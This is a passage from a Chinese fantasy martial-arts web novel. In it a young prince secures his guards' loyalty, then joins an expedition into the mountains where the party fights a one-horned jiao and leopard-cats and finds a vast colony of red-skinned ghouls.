神之血裔第五部分[玄幻武侠]

 
  “这……他们都是内府司孔淮将军所遣,责职是确保殿下安全,其他的事卑职也只能跟他们商议着办……”
这会儿门口的侍卫进来禀报:“白侍卫求见。”
白术,八名廷卫之一,孔淮将他们留在六殿下的身边,白术与另外一名叫罗思勉的廷卫就寸步不离的跟在素鸣衍的身边。这会儿在驿馆的房间里,好不容易将他们打发走,又要过来求见,素鸣衍皱起眉头,他现在还不敢将用在方镜川身上的手段用在白术、罗思勉的身上。他们刚强的武者意志,不由让素鸣衍对他们多一分尊敬。毕竟白术、罗思勉的修为只比尤溪差一阶,日后倚重他们的地方还多,现在可不能将他们惹毛了。
素鸣衍不耐烦挥了挥手,说道:“让他进来吧。”看见白术与罗思勉一齐走进来,素鸣衍微微一愣,暗道:不会代表作那八个人过来施压的吧狐疑的打量着白术、罗思勉,鼻腔轻轻的哼了两声,却一言不发。
白术、罗思勉两人原来是帝君寝宫的廷卫,对帝宫的秘闻知道的比旁人多,长夜妃没有失宠,六殿下怎么会失宠六殿下虽然无望帝位,但在帝君心里的地位却不低。帝君让六殿下到迦南为质,有着保全六殿下的曲折用心在里面。
六殿下在迦南众人面前折辱方镜川,骄纵蛮横,真是要取方镜川的性命,他们也只有听从。六殿下现在收拾方镜川,迟早要轮到他们,还不如此时主动一些,让六殿下依为心腹。
白术沉默了一会儿,堂上众人也是沉默不语,让一种压抑的气氛笼罩,尤溪轻轻咳了一声,问道:“白侍卫,这么晚了,你们过来做什么”
白术也觉得气氛有些压抑,抬头望着六殿下亮晶晶的眸子,往前走了一步,端端正正的跪下,朗声说道:“内府司派白术过来保护殿下的安全,当时忘了多吩咐一句,白术这会过来跟殿下说一声,有用得的地方,尽管吩咐。”
素鸣衍望了望江采离,又望了望尤溪,手拍着胡桃木椅子的扶手,想要放声大笑,又觉得不合适,高兴的表情,就像一个孩子,让阿黛从后面顶了顶腰肉,急忙下了椅子,走下去将白术、罗思勉从地上搀起来,说道:“我们在迦南,就不要拘束礼节了。”
方镜川抹了抹鼻头的汗,这才发觉自己是最傻的一个,想要说讨好的话,又觉得不合时宜,以后只剩下孤家寡人,日子难捱了。
他心里明白:他们这次随六殿下到迦南为质,命运已经与六殿下绑到一起了,不管日后六殿下的哪位兄长登上帝位,他们这些在六殿下身边侍候的人都给遭到猜忌、排斥。当初想到六殿下绝无登位的可能,心里又有遭贬的怨气,难免对这个还没成年的殿下起了轻视之心,万万没有料到今年才十八岁的六殿下竟然这么强势!不知为何,昔日的侍卫统领竟对六殿下心悦诚服,全心全意的维护他,而不是迫于自己的职责;不知从哪里冒出来的江侍领,心计谋算竟是一时的人杰。这些名义上都应该归他节制的人都对六殿下忠心耿耿,可恨自己到现在才明白过来。
素鸣衍可不管方镜川心里在想什么,白术、罗思勉等人都愿意听候调遣,凡事也由不得方镜川了。
如果身边的人都不能心悦诚服,还谈什么大事但是刚刚踏上迦南的土地,就如此顺利,让江采离也有些喜出望外,站起来笑道:“殿下在迦南境内,不宜过度张扬,身边留些人手够使唤就行,其他的人都安排进商队,殿下打算如何安排”
素鸣衍说道:“白术就做尤溪的副手,留下八名侍卫,罗思勉率领其他的侍卫都补充到商队。”
柳静安才二十岁,让罗思勉去做他的副手,颜面过不去,心里也不会服气,江采离说道:“商队事务可以分成两块,一与经营买卖,一是沿途护送,这样就将商队的人手分成两批,一批人手专司经营买卖,一批人手为商团护卫,静安跟我多年了,经营买卖的事就由他负责,商团护卫还要麻烦罗侍卫。”
罗思勉知道从这刻起,命运就跟六殿下完全绑在一起,说道:“卑职份内的事。”
江采离又说道:“商队里人手的武技修炼还望罗侍卫……哦,该改称罗执事了,训练人手的事,还要罗执事多费心。”
素鸣衍说道:“他日不管我的哪位兄长登位,我与各位都不会有好日子过,所以现在要同舟共济……”望了方镜川一眼,“方大人,你说是不是”
方镜川连忙应道:“是,是……殿下还是直唿卑职的贱名。”
素鸣衍微微一笑,没有理他,对尤溪说道:“大家齐心协力,你也不要藏着掖着,多与白术他们切磋切磋,还不知道要在迦南待多少年,但是回到青岚还是没有趁手的人使唤,就太窘迫了。”
少年的面容稚气未露,说出这番语重心长的话来,自有一番威严。
素鸣衍见尤溪点头应是,暗自可惜:却不能光明正大的要求他将武技传授给自己。
对于白术他们而言,六殿下对尤溪的这句吩咐,对他们来话有着实实在在的好处,忙与罗思勉起来谢恩。
素鸣衍说道:“尤溪、白术陪我进山,其他的人手都听江采离的安排。”
六殿下在宴席上提起要随春江明湖进山考查赤肌鬼种群变异的情况,白术还以为六殿下只是借题发作挫挫方镜川的锐气,想不到他真的想进山去,犹豫了一会儿,还是说道:“山里处处凶险,殿下安危要紧。”
素鸣衍也知道白术此时的劝阻是关心他的安危,微微一笑,说道:“我在羽嘉、上唐、碎叶三次遇险,尤溪都知道,再紧密的保护都没用,受些伤算不了什么大事,你们不用太担心。”
白术这才明白六殿下坚持进山,乃是要在实战中锻炼自己,不愿一直处于众人的保护之下,如果六殿下的武技能迅速提高,侍卫们也不用每天都提心吊胆的了。白术一直在帝宫侍卫,怎能不知六殿下的这种勤勉在王族子弟中算得上难能可贵与罗思勉对视了一眼,都觉得没有选择错误,再不劝阻,只想着到了山里小心照顾着就是。
尤溪说道:“把紫狻兽也带进山吧,它这么天来也不怎么嗜睡了。”
趴在采儿脚上的小紫狻似乎听懂尤溪的话,睁开眼睛,打了懒驴滚,转着小脑袋将在座的众人都看了一眼,前爪踬地,低吠一声,扑上素鸣衍的椅子。
小紫狻只有一尺高,但是身为王者荒者就是在幼年期,也有着不可低估的力量与速度,看它在空中划过紫色影痕,就知道极少有人或许荒兽能躲开它的扑咬。
第二卷:第04章,峻衡山探秘(1)
四周看了一眼暗无天日的密林,茂密的枝叶将天下的太阳光芒都遮住,只从枝叶的缝隙里筛下细碎的光辉,密林里的尘埃在细小的光柱里飞舞。
春江明湖、素鸣衍他们避开赤肌鬼占领的高丘地区,离开镜城之后,沿着起伏的山岭往东行了百里,从一座沼泽的边缘折入峻衡山东麓的深山密林。
地形转变的边缘地区,往往也是荒兽活动的边缘地区,所以众人在藏金的带领走上这条颇有凶险的道。
除了春江明湖、尤溪、白术、素鸣衍、易非天、石川华、萧绯云、雪姬、藏金之外,镜城还从军中调出六名好手供春江明湖他们差遣。
尤溪是六阶武士,白术五阶,春江明湖在术法上的造诣使他不比天榜人物差多少,六名镜城军战士都装备军用制式弩,素鸣衍、易非天、石川华、萧绯云、藏金都有三到四阶的修为,雪姬在光明系术法上有着极高的天赋,十八岁的少女能施展四阶的光明系术法,只能用天才来形容。
天渐渐暗下来,密林外只有微弱的光亮透进来,藏金举着素鸣衍交给他的明珠照明,与两名战士在前边探路。
这样的队伍,只要不深入峻衡山的腹地,不与大群的荒兽种群正面对抗,应该不会有什么危险。但是春江明湖还是异常的小心,除了藏金在前面探路之外,其他几名少年都走在队伍的中间,更让雪姬紧紧跟着素鸣衍,因为尤溪与白术始终紧随在素鸣衍的身边。小紫狻重归山林,活力旺盛,在队伍中间来回穿梭。队伍里认得紫狻兽的人可不多,白术也是最近才知道,起初还以为是羽嘉的官员将这只长相可爱的异兽送给六殿下玩耍。
春江明湖只是心有怀疑,也不能肯定,毕竟人类只有机会见到成年的紫狻王兽,谁能想这只紫色小犬成年之后会有人这么高
队伍沿着沼泽的边缘进山,小紫狻的短尾突然竖起,不是低声吠鸣,而是从喉管里发出野性低沉的嘶吼,就在那瞬间紫色小犬变成威风凛凛的王者荒兽,就像一道紫色的闪电射出去,愤怒的将前方烂泥地里竖起的一小截树根咬住。
队伍后驼装备与补养的四匹银角风马兽,都是镜城里最好的风马兽,敢和荒兽搏斗,这时却因为紫狻兽的吼声瞬间大乱,惊恐不安,一匹银角马竟口吐白沫的瘫软在地。
众人还不知出了什么变化,烂泥地里掀起一只巨大的鳞尾,一只独角蛟给小紫狻咬住头上的独角,在烂泥地里剧烈的挣扎。独角蛟身上半湿半干的黑泥,就像一截倒在烂泥里的枯树,前额上的独角准确说来更像一只肉瘤,眼睛就象两团烈火,有着钢铁般坚硬的爪和齿。藏金最先反应过来,大叫一声:“小心,是独角蛟。”将右手的长矛刺出,他这么大力气,却没能刺穿独角蛟坚韧的甲皮。
独角蛟是龙兽的低阶亚种,但是与龙兽攀上关系,就算是低阶亚种也不容小视。
小紫狻死死咬住独角蛟头上的肉瘤,任凭它怎么甩动,就是不松口,独角蛟痛得发出牛一样的嘶吼声,巨尾卷扫,将污臭的黑泥扫得四溅。素鸣衍担心小紫狻出事,箭步冲出,用五段刺矛术连刺出五重矛影,没能刺透独角蛟的甲皮,但将它逼上岸来。
众人散开,春江明湖大叫吩咐石川华他们:“你们上去,小心不要让它的巨尾扫中。”与尤溪、白术守在周围,也不上去帮忙。
藏金趁独角蛟卷尾腾跃的空隙,一矛扎进独角蛟柔软的腹部,让矛身传来的反抽力震得虎口裂开,鲜血流了一手,跳到一边。
素鸣衍喊道:“大家散开,不要上前,等它血流光就行,小心不要让逃到沼泽里去。”
强悍的生命力让独角蛟挣扎了许久,将沼泽边上好大一片灌木林都扫平。只到独角蛟躺在泥地里无力的抽搐,小紫狻才松开口,摇摇晃晃就像喝醉了酒似的站不稳,原来让独角晰甩了这么长时间,给甩晕了。
藏金将扎在独角蛟腹上的短矛拔出来,赞赏的看着小紫狻:“我还是第一次看到这么小的动物敢与独角蛟正面对抗,好像本能就知道独角蛟的弱点是那支独角肉瘤。”
石川华朝后面的风马兽一指,埋怨易非天:“你还说这是镜城最好的风马兽,遇到一只独角蛟,就口吐白沫瘫软,这些家伙该你来背了。”
“紫狻兽以前还看不出来,风马兽是让它的吼叫吓的。”春江明湖走过来,低头看着趴在素鸣衍脚下的小紫狻,紫色的毛发沾满黑色的污泥,一双兽眼却是十分的俊美,对,只有俊美才能形容激发出体内王者兽性的小紫狻的那双眼睛。
“哦,”素鸣衍有些惊讶看着后面惊恐不安的风马兽,“摩揭先生在羽嘉送给我解闷的,刚才也吓了我一跳。”
春江明湖说道:“成年的王者荒兽不难见,幼兽还真少见,明河殿下,好好照顾它吧,幼兽长大,可比强力降服的成年王兽用处大。”仔细看了素鸣衍一眼,转身走到藏金身边,施了小术法,给他震裂的右手止血。
小紫狻不知收敛身上的野性气息,风马兽一直处于惊恐之中,众人便在沼泽边的密林里宿营。
藏金熟练的将独角蛟的皮革剥下,从独角肉瘤里剖出一只鸽蛋大小的蛟珠,这是独角蛟的晶核,映着远处的篝火,绽放出淡黄的毫光。
藏金将蛟珠送到素鸣衍的跟前:“明河殿下,按照高丘猎户的规矩,这枚蛟珠是属于明河殿下的。”
素鸣衍将蛟珠握在手里,感觉有浓烈的混沌元素之力在蛟珠里流动,有些诧异。
“荒兽不会像人那样用念力聚集天地间的元素之力,高阶的荒兽平日都将元素之力贮存在晶核里,遇敌时将晶核里的元素之力释放出来,就能施展术法技能……”春江明湖从后面走过来,“紫狻兽将独角蛟的独角咬住,独角蛟只能用蛮力,要让它将吐出白灼之焰,就麻烦多了。”
“那么人如何利用晶核”素鸣衍盯着春江明湖。
春江明湖接过蛟珠,说道:“利用晶核凝聚释放元素之力,算不了太难的事,这枚晶核的品质还行,能贮藏三四次爆炎术所需的元素之力,能让术士多施展几次爆炎术,不过人与荒兽的本能有很大的不同,这枚晶核利用十多次就会承受不住而碎裂。”当下将晶核凝聚释放元素之力的方法跟素鸣衍说了一遍。
术法是利用法诀与念力凝聚天地间的元素之力为自己所用,现在只需将晶核里的元素之力用法诀释放出来就行,不用消耗念力,素鸣衍还不会施展爆炎术这样复杂的中阶术法,但是凭借这枚晶核,可以多施展几十次火焰之箭。
素鸣衍这时想起那枚让摩揭伯岑贪去的那位玄色晶核,那可是百年苍狼体内凝结出来的晶核,如果所料不差,那枚晶核所贮存的也是混沌元素之力。他现在可不知释放那枚晶核里残存的元素之力,等阶差距太大产生的反噬之力就足以让他丧命。
素鸣衍尝试直接提取晶核里的混沌元素之力生出一蓬火焰,将火焰泼到紫狻身上。
“啊,”石川华正看向这边,看见小紫狻陷入一团明艳的火焰之中,快步走过来,正要开口责问素鸣衍,却见小紫狻抖了抖的身子,似将火焰吸收进身体,眨眼睛,那蓬将小紫狻罩在里面的火焰只剩一点火星子,小紫狻沾满泥污的毛发这时就像洗过一样新亮。小紫狻不满足的蹭了蹭素鸣衍的小腿。
“小尾不怕火烧”石川华问道。
“小尾”素鸣衍诧然看了看石川华,又低头看着将短尾竖起来的小紫狻,这才想起来小紫狻跟自己大半年,还没有给它取个名字,“小尾,这名字倒不错。”蹲下来挠挠小紫狻的颈毛,“以后就叫你小尾可知道。”
小紫狻拧头朝石川华低吠了一声,好像有些不满意。
春江明湖说道:“紫狻兽对火伤害免疫,浣火如饮食,但是真正对它们有益的只有最纯粹的混沌火魄,想必这些摩揭先生都告诉明河殿下了。”
素鸣衍微微一怔,说道:“那时倒没有耐心听这个,只觉得小尾可爱才要来玩玩,以后还要请教春江大人。”
摩揭伯岑虽然流徙边地,可还是青岚的柱石之一,有必要拿一只紫狻幼兽讨好一名未成年的殿下
第二卷:第04章,峻衡山探秘(2)
素鸣衍离开经院时,摩揭伯岑教给他最基础的暝想之道和最基础的火符术。在燕云荒原三个月的单纯生活,让他体内的念力达到三阶术士才能达到的水平,这发生在别人的身上只能用奇迹来形容,但是他对术法的理解只怕比石川华这样的门外汉还不如。
庞大无匹的念力,籍此可对天地间的元素之力达到极高的控制力,但是一个术士的强大并不仅仅在于念力的高低,对于术法的理解、对念力的精准控制也许更重要。
以中陆的标准,初阶混沌系术士,应该掌握最基础的火符术,以及从火符术衍生出来的两个初阶术法。每一等级都有基础术法与衍生术法,对术士水平的考核,也多以掌握这一等级的两个衍生术法为准。等到七阶以上,这种考核标准就失效,一个强大术士的创造力更被注重。
以这样的标准说来,素鸣衍连初阶术士水平也算不上,他只掌握火符术与一种火符术衍生术法——火焰之箭。
武技以丹力为基础,但是中陆在武者进阶上还是以掌握技能为标准,以矛术为例,最基本的矛术为戳刺,这是一种在刺出长矛的瞬间增加戳刺力量的技能,若能用戳刺技在瞬间增加一成的力量,就算合格的初阶矛武士。高阶武士本身就有强大的丹力,再用熟练的戳刺之技爆发出来的力量足可能穿石刺金。
素鸣衍只会初阶的戳刺、矛劲和二阶的震击、段刺、气盾、三阶的凝气甲,只能勉强算得上三阶武士,但是他将体内的丹力凝成的虚实之矛,已有四阶武技的威力。
虚实之矛极耗丹力,只能在极端的情形下才会使用,并不是矛术的标准技。
但是以素鸣衍在燕云荒原这种恶劣环境锤炼出来的敏捷身后和战斗技巧,恢复丹力之后,实力不比白术差多少。
他现在是自幼生长在深宫的王族,自然不会有娴熟的战斗技巧。在众人面前,素鸣衍只能使用标准的矛术,不敢表现得太抢眼。就是如此,他施展的戳刺、震击、四段刺三技连击,已经惊到相当一部分人。
队伍前进到东麓山区的中腹,折向往东,准备从背后接近赤肌鬼的聚居地。
位于纵横数千里的峻衡山,东麓的山地只能算是边缘地区,常有冒险者、猎户进入这一地区,人们对这一地区的荒兽分布相当了解。有藏金做向导,队伍避开可能的危险地带,顺利往赤肌鬼的聚居地前进。
除了那只独角蛟,只有现在遇到这群十七八只豹猫最具威胁。
豹猫体形似豹,成年的豹猫只有两尺高,缀着金色花纹的毛皮异常绚丽,血腥大口支出的獠牙,就像闪着森白光芒的匕首,钢铁般坚硬的爪和齿,一看就知道是一种十分危险的动物。它们从三面的密林里围过来,晶黑的眼睛里散发出凛冽的杀机,将素鸣衍一行当作它们今天猎杀的对象。
素鸣衍半蹲着,安抚脾气变得狂躁的小紫狻,能让小紫狻露出敌意的荒兽都是十分凶险的,何况眼前还是一群。
藏金大声警告:“豹猫非常敏捷,一般的弩箭都锁不住,它们专寻猎物的喉管嘶咬,大家小心对付。”
石川华摸了摸咽喉,他可不是以速度见长,往后退了半步。
素鸣衍的段刺达到五段刺,出矛速度已经达到四阶武士的极致,抢出半个身子,击出五重矛影,将扑上来试探的两只豹猫罩在里面。五段刺虽然能提出五倍的击矛速度,但是会分散每一击的力量。高阶的武士利用戳刺增力的特性,与五段刺连击,会产生极强的威力,素鸣衍火候还不够,刺出的五矛只击中一次豹猫,击中之后却有滑韧的感觉,尖锐的矛尖划破豹猫的毛皮,没有将它刺穿。另一只豹猫却穿过矛影的空隙,扑到素鸣衍的面前。素鸣衍矮身缩肩,小紫狻从他肩上窜出,咬住那只豹猫的后颈,头勐的下甩,将豹猫压在身下,坠到地下。
豹猫无法用他锐利的牙齿,爪掌对小紫狻的伤害不大,素鸣衍也知道小紫狻必须这样也才能真正的成为王者荒兽,专心致致的对付扑上来的豹猫。
豹猫虽然凶恶,但是还没有到素鸣衍他们不能对付的地步,春江明湖、尤溪、白术等人照例只在后面照应。
尤溪、白术现在也放宽心,不再寸步不离的贴身保护,有春江明湖在场,再严重的伤,也能吊住性命。
尤溪相信,经历羽嘉、碎叶两次磨难的六殿下,不会这么容易就陷入险境的。
豹猫速度之疾,荒兽中罕有能及,素鸣衍只能用五段刺击出重重叠叠的矛影,三只豹猫圈在攻击范围之内,无暇使他其他武技配合,倒方便他专心致致的提高段刺技能的水平。
易非天的家传秘学里有一种类似坚体术的金甲技能,不过坚体术的威力不能与之同日而语,全身透出淡淡的金光,就像穿着一层金甲,豹猫根本破不开他的防御,易非天只需护住咽喉、眼睛等少数要害,单独对付五只豹猫还绰绰有余,已将一只豹猫斩毙剑下。萧绯云是素鸣衍见过的惟一比豹猫速度还快的人,手里细刺剑泄出一片片银色光瀑,迎击三只豹猫。
藏金有对付豹猫的经验,好像没有衬手的兵器,分去两只豹猫,惟有石川华最窝囊,又不好意思让雪姬给他单体施加疾步术加持速度,对付一只豹猫还手忙脚乱,脸上给豹猫的利爪划出四五道血痕。
小紫狻将体形比它大上一号的豹猫压在身下,那只豹猫已经淹淹一息,四爪正无力的拨拉。
春江明湖一边注视着前面的战场,一边跟尤溪说道:“少王的矛术功底真是扎实。”
白术看了也暗暗心惊,自己虽然能轻松使出六段刺,但是轻盈与凝重之间的气势变化还及不六殿下。六殿下的五段刺几乎不会停顿,一气呵成的击出重重叠叠的矛影,只是力量略有不足。
尤溪说道:“殿下在武技上是有常人难及的天赋。”
春江明湖微微一笑:“少王好像对术法也很有兴趣,昨夜宿营时,关于火符,明湖也让少王问得没话可说了。”
尤溪看了春江明湖一眼,心想:你将殿下看成迦南潜在的威胁了吧心里压着忧虑,羽嘉之后,殿下一改轻浮的性子,变得务实勤奋,但是贪多必失,劝说了几次也没什么作用。
小紫狻从素鸣衍那里分去一只豹猫厮咬在一起,素鸣衍压力大减,在五段刺里加上戳刺的连击,硬生生的刺裂一只豹猫的前额骨,素鸣衍不理会在地上抽搐的豹猫,手里矛一收,剩下那只豹猫扑出一道黑色的影痕,素鸣衍侧身让过,手中矛反抽下来,豹猫给反抽之力深深砸进泥里。
标准技只是锻炼矛术,谁说实战时还要严格按照标准动作来施展
素鸣衍依法施样,帮易非天解决了一只豹猫,如此一来,众人的速度就快了,不到两百息的时间,就将剩下豹猫都击毙。
死在素鸣衍手里的豹猫,除了第一只外,其他四只都是背嵴寸寸碎裂,却没有损坏毛皮,藏金赞叹的说道:“豹猫毛皮极珍贵,一张完整的豹猫皮在镜城就值两千银币,可惜很少有人能不损毛皮的将豹猫击毙。”从腰间抽出短刀,沿着豹猫腹下一道极浅的银线划下,用力揉着豹猫的背嵴,用力一扯,将像脱衣服一样将整张毛皮剥下来。
进山四天,殿下的武技每时每刻都在提高,殿下反抽抽击豹猫背嵴,虽然说没有什么惊人的技能,但是那份眼力、速度以及对力道的把握,似乎经过千万次的锤炼。白术看了暗暗心惊:虽然说毙在易非天手中有六只豹猫,但是他依仗家传秘学金甲术护体,实力与殿下相比,差距不小。
白术虽然没有亲眼看见碧云山下的绝杀一击,但是事后赶到现场,看到百丈的碧石山崖底部竟然震出一道巨大的裂洞,能够想象绝杀一击的威势。对羽嘉、上唐的事也有听闻,心想:有人会因为巨大的变故,而变得懦弱,有人却会激发无限的潜力,殿下就是这样的人吗
第二卷:第04章,峻衡山探秘(3)
明河殿下捐金为从高丘出来的村民解决生存之忧,藏金知道自己日后的人生轨迹就是追随在明河殿下的身边,忠心不二的去还这份恩情。
藏金将剥下来完整的皮子摊到素鸣衍的面前,让他看了一眼上面美丽的花纹,将毛皮卷起来,装进包囊里。
一张完整的皮子竟然值两千银币!石川华看着让自己的斧头砍成稀巴烂的豹猫尸首:“藏金大哥,这张皮剥下来还值钱”
“只有完整的皮子稀罕,这张皮子就不要费神了,毕竟我们进山不是打猎的。”春江在后面催促着,“进山四天了,离赤肌鬼的聚居地也近了,大家都小心点。”
将豹猫的残骸深埋进土里,用香萝草熏掉众人身上的血腥气,才继续上路,一路上荒兽越来越少,几乎看不到高阶的荒兽,可见庞大的赤肌鬼种群已经让高阶荒兽知道避开锋芒了。众人离赤肌鬼的聚居核心地域不远了,少量的赤肌鬼在附近的山岭游弋。
众人原想避开外围游弋的赤肌鬼,潜入赤肌鬼的聚居地,正如春江明湖所料,这些在外围的赤肌鬼实际担当前哨的角色,队伍不可能悄无声息的潜入。惊动赤肌鬼,却会带来意想不到的凶险。
尤溪在藏金的协助下,将附近几处山岭的地形摸得一清二楚,这时候在众人的中间清理出一片草地,将附近的简易地形图画出来:“赤肌鬼的智力不容小视,这样布哨,我们这么多人很难潜进去,各人都带上必备的物品,多余的物品寻一处地方埋下来,作上记号,有机会再回来取。用蒙昧术驱使风马兽往里冲,将这几处的赤肌鬼引开,我们从这里潜进去。”尤溪的手落在表示一处溪流的线条上。
春江明湖点点头,同意他的见解:“东麓接近高丘地区的溪流几乎都往东流淌,汇入雅穆拿河中,这条河流却往西流淌,在崇山峻岭里的蜿蜒,水量不大,最终汇入我们进山时遇到的那片沼泽地里,这条溪流的源头应是接近高丘地区的某座高山。作为类人种族,内部应该已经存在阶级的分化,阶级越高,越有权力使用更清洁的水源。与其漫无目标的在这一片山区搜索,还不如沿着这条溪流到源头去看看。”
他与尤溪都这么说了,其他人能有什么意见
损失四匹风马兽,将溪口的赤肌鬼引开,众人沿着溪谷艰苦往东跋涉。
溪谷曲折,两岸的涯石犬牙呲互,长着茂密旺盛的高草,藏金领着人在前面开路,石川华仗体壮力沉,也到前面用一柄短刃斧帮助藏金他们噼开密密麻麻织在一起的荆棘、灌木和蔓生的草藤。
雪姬体质最弱,体力最差,好在有萧绯云照料,勉强能支撑住。春江明湖看起来跟尤溪、白术他们一样精神,素鸣衍与小紫狻刚优哉游哉的走在众人的中间。
赤肌鬼在外围布下较严密的前哨,将溪口的赤肌鬼引开,众人沿着溪流往深处走了半天,大约有三四十里路的样子,才又遇到赤肌鬼。
那里是一处藏在深山里的湖泊,翡翠绿的湖面让两边陡峭的山崖夹住,就像藏在深山里的碧澈玉石,从西边涯岸石隙里漏出的湖水形成众人循迹而来的溪流。
湖泊的东岸是夹在两座高丘间的山谷,素鸣衍想不到深山里有这么一处所在,湖泊方圆十多里,山谷比湖泊还要宽广,山谷的尽头地势倾斜下去,估计后面还有广阔的地域。
隔着翡翠绿的湖泊,往山谷那边望去,数百只赤肌鬼,从身高判断都是头人以上等级的赤肌鬼。
素鸣衍倒吸一口凉气,回头望了一眼,春江明湖、尤溪等人的脸上也是愕然。
已经遇到赤肌鬼分成三级,普通的赤肌鬼胜在数量众多,又不急着消灭它们,数量多但是不会让众人生畏。赤肌鬼头人的灵活度与力量差不多跟二阶武士相当,但是仗着它坚愈铁石的肌体,跟三阶的武士斗起来也不吃亏;最让人头疼的,赤肌鬼头人已有不错的智力。镜城军遇到那种更高级的赤肌鬼,实力堪比人类的四阶武士,山谷里密密麻麻的一群,赤肌鬼头人与更高阶的赤肌鬼不下六百只,难怪荒兽都要远避此地,龙兽也不敢跟这么庞大的赤肌鬼群硬撼。
春江明湖皱着眉头,说道:“可以肯定,峻衡东麓纵深千里的山地里的赤肌鬼都聚集到这里,是什么让赤肌鬼们形成这么大的种群”
“大概有多少”尤溪也觉得奇怪,类人种族一般都会有简单的语言与氏族组织,赤肌鬼之所以不被人们所重视,是因为他们极少形成大的种群,上千只的赤肌鬼种群已经相当罕见了,可是眼前所见的赤肌鬼种群庞大得让人难以置信。
“不下十万只,”春江明湖一边思索一边说,“如果大群的赤肌鬼出高丘,镜城方面也无法防御,幸好过来看了一眼。”
素鸣衍问道:“普通的赤肌鬼在哪里,将两侧的山腹掏空,也容不下这么赤肌鬼啊”
“湖畔谷地可能是赤肌鬼种群……”春江明湖觉得眼前所觉的赤肌鬼一定有比氏族更严密的组织形式,远超过种群的定义,换了称唿,“这里可能是赤肌鬼氏族的圣地,普通的赤肌鬼不会进来,从这里到高丘的中心地区,有一百多里的纵深,可能都让赤肌鬼占据了。”
尤溪问道:“赤肌鬼以腐肉为食,都聚集到这里来,怎么会有足够的腐肉”
“我就是担忧这个,赤肌鬼要么自相残杀,食尸为生,要么就涌出高丘地区……”
“呕……”石川华想象赤肌鬼相互为食的恶心情景,忍不住将刚刚吃下去的烤肉都吐出来。素鸣衍回头望了一眼,想不到石川华比看起来最柔弱的雪姬还不如。不过雪姬、萧绯云让石川华的呕吐声刺激得脸色苍白,忍不住也要跟着呕吐。
前些日子在高丘,杀得赤肌鬼残肢满地,也没见他们这么大反应,素鸣衍撇了撇嘴,羽嘉南面的沙漠也有以尸为食的邪恶种族,是商队过境的主要威胁。
尤溪眉头皱起,说道:“赤肌鬼跟沙漠地区的食尸族不同……”转头跟素鸣衍说,“殿下,赤肌鬼涌出高丘地区,对秦山郡也有冲击。”
素鸣衍看向春江明湖一眼,如果不跟着过来亲眼所见,春江明湖未必有通知青岚的好心。素鸣衍内心对青岚也没什么认同感,但现在毕竟顶着檀那明河的身份,说道:“春江大人,有必要深入调查吗”
对岸的高等赤肌鬼有五六百之多,谁遇到都会避之不及,青岚朝的少王却有继续深入下去的意思,春江明湖扫过众人一眼,问道:“少王有什么打算”
素鸣衍说道:“春江大人与我、尤溪、白术四人从这里穿越过去,其余人从原路退回去,春江大人以为如何”
春江明湖原想请尤溪一道共探赤肌鬼的巢穴,有尤溪相互照应,就是惊动赤肌鬼也能从容脱身,未料到檀那明河也有胆量一探。春江明湖现在可不认为檀那明湖还是任性妄为,侧头看着尤溪、白术,倒不知他的两名臣下是什么态度。
白术颇为犹豫,看着尤溪。尤溪说道:“殿下既然这么说,卑职就陪殿下走一趟。”
藏金说道:“明河殿下,请允许藏金追随左右。”
素鸣衍自幼在燕云荒原这样凶险的地方长大,即使没有春江明湖、尤溪、白术相陪,他也有胆量探一探赤肌鬼的巢穴。素鸣衍看了石川华、易非天他们一眼,藏金在深山密林里生存的经验有时候比强横的武技还要有用。
素鸣衍说道:“你领他们出山,到镜城等我。”
石川华心里闷闷不乐,但是无可奈何,他最大的缺点就是速度不够,真要跟过去,只会牵连大家,毕竟他们进去又不是为了消灭赤肌鬼。萧绯云想着高丘深处的赤肌鬼残肌,一阵阵作呕,走到这里已经很勉强了。
易非天有些不甘心,正想要求一起跟过去,话头却让春江明湖先截住:“就是原路返回,也可能遇到意料之外的凶险,你要小心些,和石川华、藏金照顾好雪姬她们……”春江明湖说到这里,才觉得人员这么分配再合适不过,易非天、石川华他们一定要有熟知峻衡山情况的藏金领出去才行。看了素鸣衍一眼,暗道:是巧合,还熟知用人之道吩咐易非天他们,“风事要多听听藏金的意见。”
第二卷:第04章,峻衡山探秘(4)
看着易非天、藏金、石川华、萧绯云、雪姬与六名战士沿原路返回,身影消失在离离的青草丛后,素鸣衍确定小紫狻不会对湖对岸的赤肌鬼随便来脾气,稍做准备,就与春江明湖、尤溪、白术三人爬上北岸的山崖。
除了右手所持的精钢短矛,素鸣衍的腰间还系着一柄长击刀。考虑到此行的凶险,不仅将那张装饰意味更浓重的蜇龙弓让尤溪背在身上,素鸣衍还让尤溪将红袖刀带在身边,现在也只有尤溪能将红袖刀的威力发挥出来,自然是给尤溪做配刀,尤溪将红袖刀系在腰后,右手也是持着惯用的长矛。白术用剑,背负一柄重剑,腰间悬着一柄长剑。
春江明湖出使青岚之前,免得遭到不必要的猜忌,将随身法杖留在镜城。这次出来将法杖放在行囊里,此时取出拿在手里。法杖通体青碧如玉,是用特殊的工艺将某种暗金色金属渗入青木之中,使得杖体异常坚固,杖首镶嵌着一枚紫幽幽的晶核,仿佛一只活着的荒兽瞳睛。杖首如拳,镂刻着细小如蚁的箴言法诀。
尤溪跟在春江明湖的身后,看着他手里的青木法杖,问道:“想不到炎狱之杖会在春江大人手里。”
春江明湖淡淡一笑,不以为意的看了一眼手里的法杖。
素鸣衍的常识少得可怜,从没有听说过什么炎狱之杖,但是春江明湖将炎狱之杖的那一瞬间,他能感觉周围的混沌元素之力好像活跃了一些,春江明湖将法杖拿在手里,感觉应该更明显。
素鸣衍看了看山下的赤肌鬼,暗道:他不会想将这些赤肌鬼都干掉吧
四人爬上山崖,看见山崖下去果真不有许多普通的赤肌鬼,它们佝偻着背嵴,僵硬在草丛灌木林里穿梭,胜在数量众多,素鸣衍四人一样没有与之直接对抗的勇气。山巅怪石与灌输、草藤相互盘根错节。尤溪、白术、春江明湖三人在这些地方生存的经验比素鸣衍差一大截,但是素鸣衍不能表现出来,让他心痒痒憋得难受。
爬到半山腰,尤溪身子挨近一株噬血藤,素鸣衍侧过脸去,装作看不见;在噬血藤展开嫩黄色的茎须的瞬间,尤溪感觉到微弱的噬血气息,手中长矛及时将悄无声息伸到他腰前的一根噬血藤挑开,周围的噬血藤一下活了过来似乎,贴着石壁、腐泥快速的延伸过来,细碎的声音就像无数条蛇在爬行。
春江明湖将法杖往身前一横,射出一连串艳红的火焰,落在尤溪的身前,转眼前烧成一道一尺高的火墙,噬血藤极畏火焰,茎须一触火墙就勐的回缩。
素鸣衍感觉到噬血藤给激怒的强烈情绪,整片噬血藤林就像一个灵性的生物。
